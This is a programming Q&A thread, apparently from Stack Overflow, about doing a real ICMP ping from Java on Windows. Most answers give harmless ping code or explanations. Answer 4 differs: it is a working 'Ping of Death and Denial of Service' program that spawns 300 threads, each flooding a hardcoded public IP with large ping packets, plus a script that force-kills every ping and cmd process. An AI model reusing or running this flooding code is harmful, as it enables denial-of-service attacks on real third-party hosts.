How to do a true Java ping from Windows?

Question

I have a device on a network that I am attempting to ping through my Java program. Through my windows command prompt, I can ping the device address fine and do a tracert on the address fine.

Online, I have seen that in order to do a ping through Java you have to do the following:

InetAddress.getByName(address).isReachable(timeout);

But, when I use this code on my device address, it always returns false in my program. I am using the correct IPv4 address with a good timeout value. Also, if I use a localhost address, it works fine.

Why can I ping the device through cmd, but not through my program? I have heard in various places that this is not a true ping.

Is there a better way to emulate a ping in Java?

Thanks

Answer 1

I saw a lot of bad code written related to that issue. The code that worked for my is (site do not know to correctly parse my code file) :

public class Test {

    public static boolean isReachablebyPing(String ip) {

        try {
            String command;

        if(System.getProperty("os.name").toLowerCase().startsWith("windows")) {
            // For Windows
            command = "ping -n 2 " + ip;
        } else {
            // For Linux and OSX
            command = "ping -c 2 " + ip;
        }

        Process proc = Runtime.getRuntime().exec(command);
        StreamGobbler outputGobbler = new StreamGobbler(proc.getInputStream(), "OUTPUT");
        outputGobbler.start();

        proc.waitFor();
        return checkAvailability(outputGobbler.getOutputLines());

        } catch(IOException | InterruptedException ex) {
        Logger.getLogger(StreamGobbler.class.getName()).log(Level.SEVERE, null, ex);
        }

        return false;
    }

    public static void main(String... args) {

        String ip = "10.20.20.17";   // false in my case
        String ip1 = "10.20.20.100"; // true in my case

        System.out.println(ip + " is avalaible " + isReachablebyPing(ip));
        System.out.println(ip1 + " is avalaible " + isReachablebyPing(ip1));
    }

    private static boolean checkAvailability(List<String> outputLines) {

        for(String line : outputLines) {
            if(line.contains("unreachable")) {
                return false;
            }
            if(line.contains("TTL=")) {
                return true;
            }
        }
        return false;

    }

}

class StreamGobbler extends Thread {

    protected InputStream is;

    protected String type;

    protected List<String> outputLines;

    StreamGobbler(InputStream is, String type) {
        this.is = is;
        this.type = type;
        outputLines = new ArrayList<>();
    }

    public List<String> getOutputLines() {
        return outputLines;
    }

    @Override
    public void run() {
        try {
            InputStreamReader isr = new InputStreamReader(is);
            BufferedReader br = new BufferedReader(isr);
            String line;
            while((line = br.readLine()) != null) {
                outputLines.add(line);
            }
        } catch(IOException ex) {
                Logger.getLogger(StreamGobbler.class.getName()).log(Level.SEVERE, null, ex);
        }

    }
}

Answer 2

For an easy ping from java without privileges, I use http://www.icmp4j.org

It's very easy to use :

    final IcmpPingRequest request = IcmpPingUtil.createIcmpPingRequest ();

    request.setHost ("www.google.org");

    // repeat a few times

    for (int count = 1; count <= 4; count ++) {

        // delegate

         final IcmpPingResponse response = IcmpPingUtil.executePingRequest (request);

         // log

         final String formattedResponse = IcmpPingUtil.formatResponse (response);

         System.out.println (formattedResponse);

         // rest

         Thread.sleep (1000);

    }

Answer 3

Using this isn't going to help in case of ping a public IP addresses using Windows machine:

String ipAddress = "192.168.1.10";
InetAddress inet = InetAddress.getByName(ipAddress);
boolean reachable = inet.isReachable(5000);

Note: The documentation states that:

A typical implementation will use ICMP ECHO REQUESTs if the privilege can be obtained, otherwise it will try to establish a TCP connection on port 7 (Echo) of the destination host.

I've tried that but the results were not accurate.

What really worked out for me is the class written by our fellow user that send true ICMP ping and returns true or false according to IP status.

Odd InetAddress.isReachable() issue

Answer 4

The following JAVA code is an example of Ping of Death and Denial of Service using Microsoft Windows. This shall be use for testing purpose in order to build an Anti-Hack proof and/or testing the performance of the site in case of similar Cyber attacks.

// BEGIN Ping of Death and Denial of Service 
import java.awt.AWTException;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URISyntaxException;

import jxl.read.biff.BiffException;
import jxl.write.WriteException;

public class PoDandDoS {
    protected static final long serialVersionUID = 300200;
    public static void main(String[] args)
            throws IOException, URISyntaxException, InterruptedException, AWTException, BiffException, WriteException {
        Thread[] threads = new Thread[300];
        for (int i = 0; i < 300; i++) {
            threads[i] = new Thread(new Runnable() {
                public void run() {
                    try {
                        thread();
                    } catch (IOException | InterruptedException e) {
                        e.printStackTrace();
                    }
                }
            });
            threads[i].start();
        }

        for (int i = 0; i < 300; i++) {
            threads[i].join();
        }
    }

    private static void thread() throws IOException, InterruptedException {
        // Ping of Death
        String[] StringMove1 = { "cmd.exe", "/c", "ping 108.167.182.244 -l 65500 -n 10000000 -w 1" };
        Process ProcessMove1 = Runtime.getRuntime().exec(StringMove1);
        BufferedReader VarMove1 = new BufferedReader(new InputStreamReader(ProcessMove1.getInputStream()));
        String temp1 = "";
        @SuppressWarnings("unused")
        String Hostname1 = "";
        while ((temp1 = VarMove1.readLine()) != null) {
            Thread.sleep(2);
            Hostname1 = temp1;
        }
        VarMove1.close();
    }
}

When tests are completed. You might want to use the following code to clean up the processes in Task Manager.

import java.io.IOException;

//BEGIN  Clean Process      
public class CleanProcess {
    protected static final long serialVersionUID = 300200;
    public static void main(String[] args) throws IOException {
        // Close every process of PING and CMD running from your PC 
        Runtime.getRuntime().exec("taskkill /F /IM PING.EXE");
        Runtime.getRuntime().exec("taskkill /F /IM cmd.EXE");
    }
} 

Answer 5

A bit late, but I stumbled upon this while trying to do the same thing.

One workaround that worked for me and which I used was to just use the command line ping directly.

    public static boolean ping(String host)
{
    boolean isReachable = false;
    try {
        Process proc = new ProcessBuilder("ping", host).start();

        int exitValue = proc.waitFor();
        System.out.println("Exit Value:" + exitValue);
        if(exitValue == 0)
            isReachable = true;
    } catch (IOException e1) {
        System.out.println(e1.getMessage());
        e1.printStackTrace();
    } catch (InterruptedException e) {
        e.printStackTrace();
    }
    return isReachable;
}

Answer 6

isReachable() will use ICMP ECHO REQUESTs if the privilege can be obtained, otherwise it will try to establish a TCP connection on port 7 (Echo) of the destination host.
Thus your problem is probably a configuration issue of not enough permissions to do this on the client machine or a port 7 issue on the server if your client doesn't have permission to do the ICMP ECHO REQUEST. Probably both in your case, you need to resolve one side or the other to get this to work.

I tested the following on OSX and Linux clients and it works when testing for reachablity of other OSX, Linux and Windows Server machines. I don't have a Windows machine to run this as a client.

import java.io.IOException;
import java.net.InetAddress;

public class IsReachable
{
    public static void main(final String[] args) throws IOException
    {
        final InetAddress host = InetAddress.getByName(args[0]);
        System.out.println("host.isReachable(1000) = " + host.isReachable(1000));
    }
}

from what I read here. It is apparently a Windows limitation and ICMP PING isn't supported on Windows as a system call previous to Windows 2000, so it defaults to try and connect to Port 7 and that is blocked on the machine you are trying to "reach". Java doesn't support the new native system call yet. The permissions thing is for Unix based system as they require root to send ICMP packets.

If you want to roll your own Windows native JNI ICMP PING for Windows 2000 and newer there is the IcmpSendEcho Function.